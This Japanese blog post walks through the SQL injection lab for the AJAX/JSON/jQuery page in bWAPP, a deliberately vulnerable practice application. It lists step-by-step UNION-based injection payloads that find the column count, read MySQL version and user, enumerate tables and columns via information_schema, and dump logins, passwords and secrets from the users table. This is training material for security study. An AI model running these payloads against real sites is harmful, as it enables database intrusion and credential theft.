Shikata Ga Nai

Private? There is no such things.

bWAPPでA1-SQL Injection(AJAX/JSON/jQuery)

Hello there,

 

A1 ⇨ SQL Injection(AJAX/JSON/jQuery)を選択して。

まずは、『Iron』と入力して検索してみることに。

 

f:id:ThisIsOne:20191223121355p:plain

 

下記のSQLインジェクションが可能か確認してみて。

 ' or 1=1 #

 

f:id:ThisIsOne:20191223121530p:plain

 

次に7つのカラムをチェックすると。

カラム番号は、2,3,4,5が確認され。

※UNION句はカラムの個数と型が同じでないとエラーとなって。
 なので、1からはじめてエラーが出なくなるまで続けて。

 0' union select all 1,2,3,4,5,6,7#

 

NULLは、型は関係ないので。

下記のような探し方もできて。

 0' union select all 1,null,null,null,null,6,7#

 

f:id:ThisIsOne:20191223121736p:plain

 

確認できたカラムにインジェクションを。

system_user()で、Mysqlだということがわかって。

 0' union select all 1,database(),user(),system_user(),@@version,6,7#

 

f:id:ThisIsOne:20191223122218p:plain

 

さらに、データベースのテーブルを確認することに。

 0' union select all 1,table_name,3,4,5,6,7 from information_schema.tables #

 

f:id:ThisIsOne:20191223122650p:plain

 

次に『users』テーブルのカラムを確認することに。

 0' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users' and table_schema="bWAPP" #

 

f:id:ThisIsOne:20191223123101p:plain

 

最後にテーブルの中身を確認して。

 0' union select all 1, concat(id,login),password,email,secret,6,7 from users #

 

f:id:ThisIsOne:20191223123325p:plain

 

Best regards,